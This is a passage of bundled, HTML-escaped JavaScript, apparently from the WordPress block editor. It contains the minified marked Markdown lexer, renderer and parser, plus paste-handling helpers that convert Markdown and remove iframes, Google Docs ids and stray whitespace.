        if (r2 = this.tokenizer.blockquote(e2)) {
          e2 = e2.substring(r2.raw.length), t3.push(r2);
          continue;
        }
        if (r2 = this.tokenizer.list(e2)) {
          e2 = e2.substring(r2.raw.length), t3.push(r2);
          continue;
        }
        if (r2 = this.tokenizer.html(e2)) {
          e2 = e2.substring(r2.raw.length), t3.push(r2);
          continue;
        }
        if (r2 = this.tokenizer.def(e2)) {
          e2 = e2.substring(r2.raw.length);
          let o3 = t3.at(-1);
          o3?.type === &quot;paragraph&quot; || o3?.type === &quot;text&quot; ? (o3.raw += (o3.raw.endsWith(`
`) ? &quot;&quot; : `
`) + r2.raw, o3.text += `
` + r2.raw, this.inlineQueue.at(-1).src = o3.text) : this.tokens.links[r2.tag] || (this.tokens.links[r2.tag] = { href: r2.href, title: r2.title }, t3.push(r2));
          continue;
        }
        if (r2 = this.tokenizer.table(e2)) {
          e2 = e2.substring(r2.raw.length), t3.push(r2);
          continue;
        }
        if (r2 = this.tokenizer.lheading(e2)) {
          e2 = e2.substring(r2.raw.length), t3.push(r2);
          continue;
        }
        let i2 = e2;
        if (this.options.extensions?.startBlock) {
          let o3 = 1 / 0, u2 = e2.slice(1), a2;
          this.options.extensions.startBlock.forEach((c2) =&gt; {
            a2 = c2.call({ lexer: this }, u2), typeof a2 == &quot;number&quot; &amp;&amp; a2 &gt;= 0 &amp;&amp; (o3 = Math.min(o3, a2));
          }), o3 &lt; 1 / 0 &amp;&amp; o3 &gt;= 0 &amp;&amp; (i2 = e2.substring(0, o3 + 1));
        }
        if (this.state.top &amp;&amp; (r2 = this.tokenizer.paragraph(i2))) {
          let o3 = t3.at(-1);
          n2 &amp;&amp; o3?.type === &quot;paragraph&quot; ? (o3.raw += (o3.raw.endsWith(`
`) ? &quot;&quot; : `
`) + r2.raw, o3.text += `
` + r2.text, this.inlineQueue.pop(), this.inlineQueue.at(-1).src = o3.text) : t3.push(r2), n2 = i2.length !== e2.length, e2 = e2.substring(r2.raw.length);
          continue;
        }
        if (r2 = this.tokenizer.text(e2)) {
          e2 = e2.substring(r2.raw.length);
          let o3 = t3.at(-1);
          o3?.type === &quot;text&quot; ? (o3.raw += (o3.raw.endsWith(`
`) ? &quot;&quot; : `
`) + r2.raw, o3.text += `
` + r2.text, this.inlineQueue.pop(), this.inlineQueue.at(-1).src = o3.text) : t3.push(r2);
          continue;
        }
        if (e2) {
          this.infiniteLoopError(e2.charCodeAt(0));
          break;
        }
      }
      return this.state.top = true, t3;
    }
    inline(e2, t3 = []) {
      return this.inlineQueue.push({ src: e2, tokens: t3 }), t3;
    }
    inlineTokens(e2, t3 = []) {
      this.tokenizer.lexer = this;
      let n2 = e2, s2 = null;
      if (this.tokens.links) {
        let a2 = Object.keys(this.tokens.links);
        if (a2.length &gt; 0) for (; (s2 = this.tokenizer.rules.inline.reflinkSearch.exec(n2)) !== null; ) a2.includes(s2[0].slice(s2[0].lastIndexOf(&quot;[&quot;) + 1, -1)) &amp;&amp; (n2 = n2.slice(0, s2.index) + &quot;[&quot; + &quot;a&quot;.repeat(s2[0].length - 2) + &quot;]&quot; + n2.slice(this.tokenizer.rules.inline.reflinkSearch.lastIndex));
      }
      for (; (s2 = this.tokenizer.rules.inline.anyPunctuation.exec(n2)) !== null; ) n2 = n2.slice(0, s2.index) + &quot;++&quot; + n2.slice(this.tokenizer.rules.inline.anyPunctuation.lastIndex);
      let r2;
      for (; (s2 = this.tokenizer.rules.inline.blockSkip.exec(n2)) !== null; ) r2 = s2[2] ? s2[2].length : 0, n2 = n2.slice(0, s2.index + r2) + &quot;[&quot; + &quot;a&quot;.repeat(s2[0].length - r2 - 2) + &quot;]&quot; + n2.slice(this.tokenizer.rules.inline.blockSkip.lastIndex);
      n2 = this.options.hooks?.emStrongMask?.call({ lexer: this }, n2) ?? n2;
      let i2 = false, o3 = &quot;&quot;, u2 = 1 / 0;
      for (; e2; ) {
        if (e2.length &lt; u2) u2 = e2.length;
        else {
          this.infiniteLoopError(e2.charCodeAt(0));
          break;
        }
        i2 || (o3 = &quot;&quot;), i2 = false;
        let a2;
        if (this.options.extensions?.inline?.some((p2) =&gt; (a2 = p2.call({ lexer: this }, e2, t3)) ? (e2 = e2.substring(a2.raw.length), t3.push(a2), true) : false)) continue;
        if (a2 = this.tokenizer.escape(e2)) {
          e2 = e2.substring(a2.raw.length), t3.push(a2);
          continue;
        }
        if (a2 = this.tokenizer.tag(e2)) {
          e2 = e2.substring(a2.raw.length), t3.push(a2);
          continue;
        }
        if (a2 = this.tokenizer.link(e2)) {
          e2 = e2.substring(a2.raw.length), t3.push(a2);
          continue;
        }
        if (a2 = this.tokenizer.reflink(e2, this.tokens.links)) {
          e2 = e2.substring(a2.raw.length);
          let p2 = t3.at(-1);
          a2.type === &quot;text&quot; &amp;&amp; p2?.type === &quot;text&quot; ? (p2.raw += a2.raw, p2.text += a2.text) : t3.push(a2);
          continue;
        }
        if (a2 = this.tokenizer.emStrong(e2, n2, o3)) {
          e2 = e2.substring(a2.raw.length), t3.push(a2);
          continue;
        }
        if (a2 = this.tokenizer.codespan(e2)) {
          e2 = e2.substring(a2.raw.length), t3.push(a2);
          continue;
        }
        if (a2 = this.tokenizer.br(e2)) {
          e2 = e2.substring(a2.raw.length), t3.push(a2);
          continue;
        }
        if (a2 = this.tokenizer.del(e2, n2, o3)) {
          e2 = e2.substring(a2.raw.length), t3.push(a2);
          continue;
        }
        if (a2 = this.tokenizer.autolink(e2)) {
          e2 = e2.substring(a2.raw.length), t3.push(a2);
          continue;
        }
        if (!this.state.inLink &amp;&amp; (a2 = this.tokenizer.url(e2))) {
          e2 = e2.substring(a2.raw.length), t3.push(a2);
          continue;
        }
        let c2 = e2;
        if (this.options.extensions?.startInline) {
          let p2 = 1 / 0, k2 = e2.slice(1), h2;
          this.options.extensions.startInline.forEach((R) =&gt; {
            h2 = R.call({ lexer: this }, k2), typeof h2 == &quot;number&quot; &amp;&amp; h2 &gt;= 0 &amp;&amp; (p2 = Math.min(p2, h2));
          }), p2 &lt; 1 / 0 &amp;&amp; p2 &gt;= 0 &amp;&amp; (c2 = e2.substring(0, p2 + 1));
        }
        if (a2 = this.tokenizer.inlineText(c2)) {
          e2 = e2.substring(a2.raw.length), a2.raw.slice(-1) !== &quot;_&quot; &amp;&amp; (o3 = a2.raw.slice(-1)), i2 = true;
          let p2 = t3.at(-1);
          p2?.type === &quot;text&quot; ? (p2.raw += a2.raw, p2.text += a2.text) : t3.push(a2);
          continue;
        }
        if (e2) {
          this.infiniteLoopError(e2.charCodeAt(0));
          break;
        }
      }
      return t3;
    }
    infiniteLoopError(e2) {
      let t3 = &quot;Infinite loop on byte: &quot; + e2;
      if (this.options.silent) console.error(t3);
      else throw new Error(t3);
    }
  };
  var y2 = class {
    options;
    parser;
    constructor(e2) {
      this.options = e2 || T;
    }
    space(e2) {
      return &quot;&quot;;
    }
    code({ text: e2, lang: t3, escaped: n2 }) {
      let s2 = (t3 || &quot;&quot;).match(m2.notSpaceStart)?.[0], r2 = e2.replace(m2.endingNewline, &quot;&quot;) + `
`;
      return s2 ? &#039;&lt;pre&gt;&lt;code class=&quot;language-&#039; + O(s2) + &#039;&quot;&gt;&#039; + (n2 ? r2 : O(r2, true)) + `&lt;/code&gt;&lt;/pre&gt;
` : &quot;&lt;pre&gt;&lt;code&gt;&quot; + (n2 ? r2 : O(r2, true)) + `&lt;/code&gt;&lt;/pre&gt;
`;
    }
    blockquote({ tokens: e2 }) {
      return `&lt;blockquote&gt;
${this.parser.parse(e2)}&lt;/blockquote&gt;
`;
    }
    html({ text: e2 }) {
      return e2;
    }
    def(e2) {
      return &quot;&quot;;
    }
    heading({ tokens: e2, depth: t3 }) {
      return `&lt;h${t3}&gt;${this.parser.parseInline(e2)}&lt;/h${t3}&gt;
`;
    }
    hr(e2) {
      return `&lt;hr&gt;
`;
    }
    list(e2) {
      let t3 = e2.ordered, n2 = e2.start, s2 = &quot;&quot;;
      for (let o3 = 0; o3 &lt; e2.items.length; o3++) {
        let u2 = e2.items[o3];
        s2 += this.listitem(u2);
      }
      let r2 = t3 ? &quot;ol&quot; : &quot;ul&quot;, i2 = t3 &amp;&amp; n2 !== 1 ? &#039; start=&quot;&#039; + n2 + &#039;&quot;&#039; : &quot;&quot;;
      return &quot;&lt;&quot; + r2 + i2 + `&gt;
` + s2 + &quot;&lt;/&quot; + r2 + `&gt;
`;
    }
    listitem(e2) {
      return `&lt;li&gt;${this.parser.parse(e2.tokens)}&lt;/li&gt;
`;
    }
    checkbox({ checked: e2 }) {
      return &quot;&lt;input &quot; + (e2 ? &#039;checked=&quot;&quot; &#039; : &quot;&quot;) + &#039;disabled=&quot;&quot; type=&quot;checkbox&quot;&gt; &#039;;
    }
    paragraph({ tokens: e2 }) {
      return `&lt;p&gt;${this.parser.parseInline(e2)}&lt;/p&gt;
`;
    }
    table(e2) {
      let t3 = &quot;&quot;, n2 = &quot;&quot;;
      for (let r2 = 0; r2 &lt; e2.header.length; r2++) n2 += this.tablecell(e2.header[r2]);
      t3 += this.tablerow({ text: n2 });
      let s2 = &quot;&quot;;
      for (let r2 = 0; r2 &lt; e2.rows.length; r2++) {
        let i2 = e2.rows[r2];
        n2 = &quot;&quot;;
        for (let o3 = 0; o3 &lt; i2.length; o3++) n2 += this.tablecell(i2[o3]);
        s2 += this.tablerow({ text: n2 });
      }
      return s2 &amp;&amp; (s2 = `&lt;tbody&gt;${s2}&lt;/tbody&gt;`), `&lt;table&gt;
&lt;thead&gt;
` + t3 + `&lt;/thead&gt;
` + s2 + `&lt;/table&gt;
`;
    }
    tablerow({ text: e2 }) {
      return `&lt;tr&gt;
${e2}&lt;/tr&gt;
`;
    }
    tablecell(e2) {
      let t3 = this.parser.parseInline(e2.tokens), n2 = e2.header ? &quot;th&quot; : &quot;td&quot;;
      return (e2.align ? `&lt;${n2} align=&quot;${e2.align}&quot;&gt;` : `&lt;${n2}&gt;`) + t3 + `&lt;/${n2}&gt;
`;
    }
    strong({ tokens: e2 }) {
      return `&lt;strong&gt;${this.parser.parseInline(e2)}&lt;/strong&gt;`;
    }
    em({ tokens: e2 }) {
      return `&lt;em&gt;${this.parser.parseInline(e2)}&lt;/em&gt;`;
    }
    codespan({ text: e2 }) {
      return `&lt;code&gt;${O(e2, true)}&lt;/code&gt;`;
    }
    br(e2) {
      return &quot;&lt;br&gt;&quot;;
    }
    del({ tokens: e2 }) {
      return `&lt;del&gt;${this.parser.parseInline(e2)}&lt;/del&gt;`;
    }
    link({ href: e2, title: t3, tokens: n2 }) {
      let s2 = this.parser.parseInline(n2), r2 = J(e2);
      if (r2 === null) return s2;
      e2 = r2;
      let i2 = &#039;&lt;a href=&quot;&#039; + e2 + &#039;&quot;&#039;;
      return t3 &amp;&amp; (i2 += &#039; title=&quot;&#039; + O(t3) + &#039;&quot;&#039;), i2 += &quot;&gt;&quot; + s2 + &quot;&lt;/a&gt;&quot;, i2;
    }
    image({ href: e2, title: t3, text: n2, tokens: s2 }) {
      s2 &amp;&amp; (n2 = this.parser.parseInline(s2, this.parser.textRenderer));
      let r2 = J(e2);
      if (r2 === null) return O(n2);
      e2 = r2;
      let i2 = `&lt;img src=&quot;${e2}&quot; alt=&quot;${O(n2)}&quot;`;
      return t3 &amp;&amp; (i2 += ` title=&quot;${O(t3)}&quot;`), i2 += &quot;&gt;&quot;, i2;
    }
    text(e2) {
      return &quot;tokens&quot; in e2 &amp;&amp; e2.tokens ? this.parser.parseInline(e2.tokens) : &quot;escaped&quot; in e2 &amp;&amp; e2.escaped ? e2.text : O(e2.text);
    }
  };
  var L = class {
    strong({ text: e2 }) {
      return e2;
    }
    em({ text: e2 }) {
      return e2;
    }
    codespan({ text: e2 }) {
      return e2;
    }
    del({ text: e2 }) {
      return e2;
    }
    html({ text: e2 }) {
      return e2;
    }
    text({ text: e2 }) {
      return e2;
    }
    link({ text: e2 }) {
      return &quot;&quot; + e2;
    }
    image({ text: e2 }) {
      return &quot;&quot; + e2;
    }
    br() {
      return &quot;&quot;;
    }
    checkbox({ raw: e2 }) {
      return e2;
    }
  };
  var b2 = class l3 {
    options;
    renderer;
    textRenderer;
    constructor(e2) {
      this.options = e2 || T, this.options.renderer = this.options.renderer || new y2(), this.renderer = this.options.renderer, this.renderer.options = this.options, this.renderer.parser = this, this.textRenderer = new L();
    }
    static parse(e2, t3) {
      return new l3(t3).parse(e2);
    }
    static parseInline(e2, t3) {
      return new l3(t3).parseInline(e2);
    }
    parse(e2) {
      this.renderer.parser = this;
      let t3 = &quot;&quot;;
      for (let n2 = 0; n2 &lt; e2.length; n2++) {
        let s2 = e2[n2];
        if (this.options.extensions?.renderers?.[s2.type]) {
          let i2 = s2, o3 = this.options.extensions.renderers[i2.type].call({ parser: this }, i2);
          if (o3 !== false || ![&quot;space&quot;, &quot;hr&quot;, &quot;heading&quot;, &quot;code&quot;, &quot;table&quot;, &quot;blockquote&quot;, &quot;list&quot;, &quot;html&quot;, &quot;def&quot;, &quot;paragraph&quot;, &quot;text&quot;].includes(i2.type)) {
            t3 += o3 || &quot;&quot;;
            continue;
          }
        }
        let r2 = s2;
        switch (r2.type) {
          case &quot;space&quot;: {
            t3 += this.renderer.space(r2);
            break;
          }
          case &quot;hr&quot;: {
            t3 += this.renderer.hr(r2);
            break;
          }
          case &quot;heading&quot;: {
            t3 += this.renderer.heading(r2);
            break;
          }
          case &quot;code&quot;: {
            t3 += this.renderer.code(r2);
            break;
          }
          case &quot;table&quot;: {
            t3 += this.renderer.table(r2);
            break;
          }
          case &quot;blockquote&quot;: {
            t3 += this.renderer.blockquote(r2);
            break;
          }
          case &quot;list&quot;: {
            t3 += this.renderer.list(r2);
            break;
          }
          case &quot;checkbox&quot;: {
            t3 += this.renderer.checkbox(r2);
            break;
          }
          case &quot;html&quot;: {
            t3 += this.renderer.html(r2);
            break;
          }
          case &quot;def&quot;: {
            t3 += this.renderer.def(r2);
            break;
          }
          case &quot;paragraph&quot;: {
            t3 += this.renderer.paragraph(r2);
            break;
          }
          case &quot;text&quot;: {
            t3 += this.renderer.text(r2);
            break;
          }
          default: {
            let i2 = &#039;Token with &quot;&#039; + r2.type + &#039;&quot; type was not found.&#039;;
            if (this.options.silent) return console.error(i2), &quot;&quot;;
            throw new Error(i2);
          }
        }
      }
      return t3;
    }
    parseInline(e2, t3 = this.renderer) {
      this.renderer.parser = this;
      let n2 = &quot;&quot;;
      for (let s2 = 0; s2 &lt; e2.length; s2++) {
        let r2 = e2[s2];
        if (this.options.extensions?.renderers?.[r2.type]) {
          let o3 = this.options.extensions.renderers[r2.type].call({ parser: this }, r2);
          if (o3 !== false || ![&quot;escape&quot;, &quot;html&quot;, &quot;link&quot;, &quot;image&quot;, &quot;strong&quot;, &quot;em&quot;, &quot;codespan&quot;, &quot;br&quot;, &quot;del&quot;, &quot;text&quot;].includes(r2.type)) {
            n2 += o3 || &quot;&quot;;
            continue;
          }
        }
        let i2 = r2;
        switch (i2.type) {
          case &quot;escape&quot;: {
            n2 += t3.text(i2);
            break;
          }
          case &quot;html&quot;: {
            n2 += t3.html(i2);
            break;
          }
          case &quot;link&quot;: {
            n2 += t3.link(i2);
            break;
          }
          case &quot;image&quot;: {
            n2 += t3.image(i2);
            break;
          }
          case &quot;checkbox&quot;: {
            n2 += t3.checkbox(i2);
            break;
          }
          case &quot;strong&quot;: {
            n2 += t3.strong(i2);
            break;
          }
          case &quot;em&quot;: {
            n2 += t3.em(i2);
            break;
          }
          case &quot;codespan&quot;: {
            n2 += t3.codespan(i2);
            break;
          }
          case &quot;br&quot;: {
            n2 += t3.br(i2);
            break;
          }
          case &quot;del&quot;: {
            n2 += t3.del(i2);
            break;
          }
          case &quot;text&quot;: {
            n2 += t3.text(i2);
            break;
          }
          default: {
            let o3 = &#039;Token with &quot;&#039; + i2.type + &#039;&quot; type was not found.&#039;;
            if (this.options.silent) return console.error(o3), &quot;&quot;;
            throw new Error(o3);
          }
        }
      }
      return n2;
    }
  };
  var P = class {
    options;
    block;
    constructor(e2) {
      this.options = e2 || T;
    }
    static passThroughHooks = /* @__PURE__ */ new Set([&quot;preprocess&quot;, &quot;postprocess&quot;, &quot;processAllTokens&quot;, &quot;emStrongMask&quot;]);
    static passThroughHooksRespectAsync = /* @__PURE__ */ new Set([&quot;preprocess&quot;, &quot;postprocess&quot;, &quot;processAllTokens&quot;]);
    preprocess(e2) {
      return e2;
    }
    postprocess(e2) {
      return e2;
    }
    processAllTokens(e2) {
      return e2;
    }
    emStrongMask(e2) {
      return e2;
    }
    provideLexer(e2 = this.block) {
      return e2 ? x2.lex : x2.lexInline;
    }
    provideParser(e2 = this.block) {
      return e2 ? b2.parse : b2.parseInline;
    }
  };
  var D = class {
    defaults = z();
    options = this.setOptions;
    parse = this.parseMarkdown(true);
    parseInline = this.parseMarkdown(false);
    Parser = b2;
    Renderer = y2;
    TextRenderer = L;
    Lexer = x2;
    Tokenizer = w2;
    Hooks = P;
    constructor(...e2) {
      this.use(...e2);
    }
    walkTokens(e2, t3) {
      let n2 = [];
      for (let s2 of e2) switch (n2 = n2.concat(t3.call(this, s2)), s2.type) {
        case &quot;table&quot;: {
          let r2 = s2;
          for (let i2 of r2.header) n2 = n2.concat(this.walkTokens(i2.tokens, t3));
          for (let i2 of r2.rows) for (let o3 of i2) n2 = n2.concat(this.walkTokens(o3.tokens, t3));
          break;
        }
        case &quot;list&quot;: {
          let r2 = s2;
          n2 = n2.concat(this.walkTokens(r2.items, t3));
          break;
        }
        default: {
          let r2 = s2;
          this.defaults.extensions?.childTokens?.[r2.type] ? this.defaults.extensions.childTokens[r2.type].forEach((i2) =&gt; {
            let o3 = r2[i2].flat(1 / 0);
            n2 = n2.concat(this.walkTokens(o3, t3));
          }) : r2.tokens &amp;&amp; (n2 = n2.concat(this.walkTokens(r2.tokens, t3)));
        }
      }
      return n2;
    }
    use(...e2) {
      let t3 = this.defaults.extensions || { renderers: {}, childTokens: {} };
      return e2.forEach((n2) =&gt; {
        let s2 = { ...n2 };
        if (s2.async = this.defaults.async || s2.async || false, n2.extensions &amp;&amp; (n2.extensions.forEach((r2) =&gt; {
          if (!r2.name) throw new Error(&quot;extension name required&quot;);
          if (&quot;renderer&quot; in r2) {
            let i2 = t3.renderers[r2.name];
            i2 ? t3.renderers[r2.name] = function(...o3) {
              let u2 = r2.renderer.apply(this, o3);
              return u2 === false &amp;&amp; (u2 = i2.apply(this, o3)), u2;
            } : t3.renderers[r2.name] = r2.renderer;
          }
          if (&quot;tokenizer&quot; in r2) {
            if (!r2.level || r2.level !== &quot;block&quot; &amp;&amp; r2.level !== &quot;inline&quot;) throw new Error(&quot;extension level must be &#039;block&#039; or &#039;inline&#039;&quot;);
            let i2 = t3[r2.level];
            i2 ? i2.unshift(r2.tokenizer) : t3[r2.level] = [r2.tokenizer], r2.start &amp;&amp; (r2.level === &quot;block&quot; ? t3.startBlock ? t3.startBlock.push(r2.start) : t3.startBlock = [r2.start] : r2.level === &quot;inline&quot; &amp;&amp; (t3.startInline ? t3.startInline.push(r2.start) : t3.startInline = [r2.start]));
          }
          &quot;childTokens&quot; in r2 &amp;&amp; r2.childTokens &amp;&amp; (t3.childTokens[r2.name] = r2.childTokens);
        }), s2.extensions = t3), n2.renderer) {
          let r2 = this.defaults.renderer || new y2(this.defaults);
          for (let i2 in n2.renderer) {
            if (!(i2 in r2)) throw new Error(`renderer &#039;${i2}&#039; does not exist`);
            if ([&quot;options&quot;, &quot;parser&quot;].includes(i2)) continue;
            let o3 = i2, u2 = n2.renderer[o3], a2 = r2[o3];
            r2[o3] = (...c2) =&gt; {
              let p2 = u2.apply(r2, c2);
              return p2 === false &amp;&amp; (p2 = a2.apply(r2, c2)), p2 || &quot;&quot;;
            };
          }
          s2.renderer = r2;
        }
        if (n2.tokenizer) {
          let r2 = this.defaults.tokenizer || new w2(this.defaults);
          for (let i2 in n2.tokenizer) {
            if (!(i2 in r2)) throw new Error(`tokenizer &#039;${i2}&#039; does not exist`);
            if ([&quot;options&quot;, &quot;rules&quot;, &quot;lexer&quot;].includes(i2)) continue;
            let o3 = i2, u2 = n2.tokenizer[o3], a2 = r2[o3];
            r2[o3] = (...c2) =&gt; {
              let p2 = u2.apply(r2, c2);
              return p2 === false &amp;&amp; (p2 = a2.apply(r2, c2)), p2;
            };
          }
          s2.tokenizer = r2;
        }
        if (n2.hooks) {
          let r2 = this.defaults.hooks || new P();
          for (let i2 in n2.hooks) {
            if (!(i2 in r2)) throw new Error(`hook &#039;${i2}&#039; does not exist`);
            if ([&quot;options&quot;, &quot;block&quot;].includes(i2)) continue;
            let o3 = i2, u2 = n2.hooks[o3], a2 = r2[o3];
            P.passThroughHooks.has(i2) ? r2[o3] = (c2) =&gt; {
              if (this.defaults.async &amp;&amp; P.passThroughHooksRespectAsync.has(i2)) return (async () =&gt; {
                let k2 = await u2.call(r2, c2);
                return a2.call(r2, k2);
              })();
              let p2 = u2.call(r2, c2);
              return a2.call(r2, p2);
            } : r2[o3] = (...c2) =&gt; {
              if (this.defaults.async) return (async () =&gt; {
                let k2 = await u2.apply(r2, c2);
                return k2 === false &amp;&amp; (k2 = await a2.apply(r2, c2)), k2;
              })();
              let p2 = u2.apply(r2, c2);
              return p2 === false &amp;&amp; (p2 = a2.apply(r2, c2)), p2;
            };
          }
          s2.hooks = r2;
        }
        if (n2.walkTokens) {
          let r2 = this.defaults.walkTokens, i2 = n2.walkTokens;
          s2.walkTokens = function(o3) {
            let u2 = [];
            return u2.push(i2.call(this, o3)), r2 &amp;&amp; (u2 = u2.concat(r2.call(this, o3))), u2;
          };
        }
        this.defaults = { ...this.defaults, ...s2 };
      }), this;
    }
    setOptions(e2) {
      return this.defaults = { ...this.defaults, ...e2 }, this;
    }
    lexer(e2, t3) {
      return x2.lex(e2, t3 ?? this.defaults);
    }
    parser(e2, t3) {
      return b2.parse(e2, t3 ?? this.defaults);
    }
    parseMarkdown(e2) {
      return (n2, s2) =&gt; {
        let r2 = { ...s2 }, i2 = { ...this.defaults, ...r2 }, o3 = this.onError(!!i2.silent, !!i2.async);
        if (this.defaults.async === true &amp;&amp; r2.async === false) return o3(new Error(&quot;marked(): The async option was set to true by an extension. Remove async: false from the parse options object to return a Promise.&quot;));
        if (typeof n2 &gt; &quot;u&quot; || n2 === null) return o3(new Error(&quot;marked(): input parameter is undefined or null&quot;));
        if (typeof n2 != &quot;string&quot;) return o3(new Error(&quot;marked(): input parameter is of type &quot; + Object.prototype.toString.call(n2) + &quot;, string expected&quot;));
        if (i2.hooks &amp;&amp; (i2.hooks.options = i2, i2.hooks.block = e2), i2.async) return (async () =&gt; {
          let u2 = i2.hooks ? await i2.hooks.preprocess(n2) : n2, c2 = await (i2.hooks ? await i2.hooks.provideLexer(e2) : e2 ? x2.lex : x2.lexInline)(u2, i2), p2 = i2.hooks ? await i2.hooks.processAllTokens(c2) : c2;
          i2.walkTokens &amp;&amp; await Promise.all(this.walkTokens(p2, i2.walkTokens));
          let h2 = await (i2.hooks ? await i2.hooks.provideParser(e2) : e2 ? b2.parse : b2.parseInline)(p2, i2);
          return i2.hooks ? await i2.hooks.postprocess(h2) : h2;
        })().catch(o3);
        try {
          i2.hooks &amp;&amp; (n2 = i2.hooks.preprocess(n2));
          let a2 = (i2.hooks ? i2.hooks.provideLexer(e2) : e2 ? x2.lex : x2.lexInline)(n2, i2);
          i2.hooks &amp;&amp; (a2 = i2.hooks.processAllTokens(a2)), i2.walkTokens &amp;&amp; this.walkTokens(a2, i2.walkTokens);
          let p2 = (i2.hooks ? i2.hooks.provideParser(e2) : e2 ? b2.parse : b2.parseInline)(a2, i2);
          return i2.hooks &amp;&amp; (p2 = i2.hooks.postprocess(p2)), p2;
        } catch (u2) {
          return o3(u2);
        }
      };
    }
    onError(e2, t3) {
      return (n2) =&gt; {
        if (n2.message += `
Please report this to https://github.com/markedjs/marked.`, e2) {
          let s2 = &quot;&lt;p&gt;An error occurred:&lt;/p&gt;&lt;pre&gt;&quot; + O(n2.message + &quot;&quot;, true) + &quot;&lt;/pre&gt;&quot;;
          return t3 ? Promise.resolve(s2) : s2;
        }
        if (t3) return Promise.reject(n2);
        throw n2;
      };
    }
  };
  var M2 = new D();
  function g2(l4, e2) {
    return M2.parse(l4, e2);
  }
  g2.options = g2.setOptions = function(l4) {
    return M2.setOptions(l4), g2.defaults = M2.defaults, G(g2.defaults), g2;
  };
  g2.getDefaults = z;
  g2.defaults = T;
  g2.use = function(...l4) {
    return M2.use(...l4), g2.defaults = M2.defaults, G(g2.defaults), g2;
  };
  g2.walkTokens = function(l4, e2) {
    return M2.walkTokens(l4, e2);
  };
  g2.parseInline = M2.parseInline;
  g2.Parser = b2;
  g2.parser = b2.parse;
  g2.Renderer = y2;
  g2.TextRenderer = L;
  g2.Lexer = x2;
  g2.lexer = x2.lex;
  g2.Tokenizer = w2;
  g2.Hooks = P;
  g2.parse = g2;
  var jt = g2.options;
  var Ft = g2.setOptions;
  var Ut = g2.use;
  var Kt = g2.walkTokens;
  var Wt = g2.parseInline;
  var Jt = b2.parse;
  var Vt = x2.lex;

  // packages/blocks/build-module/api/raw-handling/markdown-converter.mjs
  function escapeBodyText(value) {
    return value.replace(/&amp;(?!#?\w+;)/g, &quot;&amp;amp;&quot;).replace(/&lt;/g, &quot;&amp;lt;&quot;).replace(/&gt;/g, &quot;&amp;gt;&quot;);
  }
  var converter = new D({
    gfm: true,
    breaks: true,
    renderer: {
      // Match showdown&#039;s `omitExtraWLInCodeBlocks`: marked appends `\n`
      // before `&lt;/code&gt;`, which leaks into the Code block&#039;s content as a
      // trailing blank line.
      code({ text: text2, lang }) {
        const language = (lang || &quot;&quot;).match(/^\S*/)?.[0];
        const cls = language ? ` class=&quot;${language} language-${language}&quot;` : &quot;&quot;;
        return `&lt;pre&gt;&lt;code${cls}&gt;${escapeBodyText(
          text2
        )}&lt;/code&gt;&lt;/pre&gt;`;
      },
      text(token) {
        if (&quot;tokens&quot; in token &amp;&amp; token.tokens || &quot;escaped&quot; in token &amp;&amp; token.escaped) {
          return false;
        }
        return escapeBodyText(token.text);
      }
    }
  });
  function slackMarkdownVariantCorrector(text2) {
    return text2.replace(
      /((?:^|\n)```)([^\n`]+)(```(?:$|\n))/,
      (match, p1, p2, p3) =&gt; `${p1}
${p2}
${p3}`
    );
  }
  function bulletsToAsterisks(text2) {
    return text2.replace(/(^|\n)•( +)/g, &quot;$1*$2&quot;);
  }
  function escapeSingleLineOrderedListMarker(text2) {
    if (text2.includes(&quot;\n&quot;)) {
      return text2;
    }
    return text2.replace(/^(\d+)\.(\s)/, &quot;$1\\.$2&quot;);
  }
  var correctors = [
    escapeSingleLineOrderedListMarker,
    bulletsToAsterisks,
    slackMarkdownVariantCorrector
  ];
  function markdownConverter(text2) {
    return converter.parse(
      correctors.reduce(
        (current, corrector) =&gt; corrector(current),
        text2
      ),
      { async: false }
    );
  }

  // packages/blocks/build-module/api/raw-handling/iframe-remover.mjs
  function iframeRemover(iframe) {
    if (iframe.nodeName === &quot;IFRAME&quot;) {
      const node = iframe;
      const text2 = node.ownerDocument.createTextNode(node.src);
      node.parentNode.replaceChild(text2, node);
    }
  }

  // packages/blocks/build-module/api/raw-handling/google-docs-uid-remover.mjs
  var import_dom10 = __toESM(require_dom(), 1);
  function googleDocsUIdRemover(node) {
    const el = node;
    if (!el.id || el.id.indexOf(&quot;docs-internal-guid-&quot;) !== 0) {
      return;
    }
    if (el.tagName === &quot;B&quot;) {
      (0, import_dom10.unwrap)(node);
    } else {
      el.removeAttribute(&quot;id&quot;);
    }
  }

  // packages/blocks/build-module/api/raw-handling/html-formatting-remover.mjs
  function isFormattingSpace(character) {
    return character === &quot; &quot; || character === &quot;\r&quot; || character === &quot;\n&quot; || character === &quot;	&quot;;
  }
  function htmlFormattingRemover(node) {
    if (node.nodeType !== node.TEXT_NODE) {
      return;
    }
    let parent = node;
    while (parent = parent.parentNode) {
      if (parent.nodeType === parent.ELEMENT_NODE &amp;&amp; parent.nodeName === &quot;PRE&quot;) {
        return;
      }
    }
    const textNode = node;
    let newData = textNode.data.replace(/[ \r\n\t]+/g, &quot; &quot;);
    if (newData[0] === &quot; &quot;) {
      const previousSibling = getSibling(node, &quot;previous&quot;);
      if (!previousSibling || previousSibling.nodeName === &quot;BR&quot; || previousSibling.textContent.slice(-1) === &quot; &quot;) {
        newData = newData.slice(1);
      }
    }
    if (newData[newData.length - 1] === &quot; &quot;) {
      const nextSibling = getSibling(node, &quot;next&quot;);
      if (!nextSibling || nextSibling.nodeName === &quot;BR&quot; || nextSibling.nodeType === nextSibling.TEXT_NODE &amp;&amp; isFormattingSpace(nextSibling.textContent[0])) {
        newData = newData.slice(0, -1);
      }
    }
    if (!newData) {
      node.parentNode.removeChild(node);
    } else {
      textNode.data = newData;
    }
  }

  // packages/blocks/build-module/api/raw-handling/format-space-corrector.mjs
  var import_dom11 = __toESM(require_dom(), 1);
  function moveEdgeSpace(node, doc, isLeading) {
    const child = isLeading ? node.firstChild : node.lastChild;
    if (!child || child.nodeType !== node.TEXT_NODE) {
      return;
    }
    const text2 = child;
    const edgeIndex = isLeading ? 0 : text2.data.length - 1;
    if (text2.data[edgeIndex] !== &quot; &quot;) {
      return;
    }
    text2.data = isLeading ? text2.data.slice(1) : text2.data.slice(0, -1);
    if (!text2.data) {
      node.removeChild(text2);
    }
    node.parentNode.insertBefore(
      doc.createTextNode(&quot; &quot;),
      isLeading ? node : node.nextSibling
    );
  }
  function formatSpaceCorrector(node, doc) {
    if (node.nodeType !== node.ELEMENT_NODE || !(0, import_dom11.isPhrasingContent)(node)) {
      return;
    }
    moveEdgeSpace(node, doc, true);
    moveEdgeSpace(node, doc, false);
  }

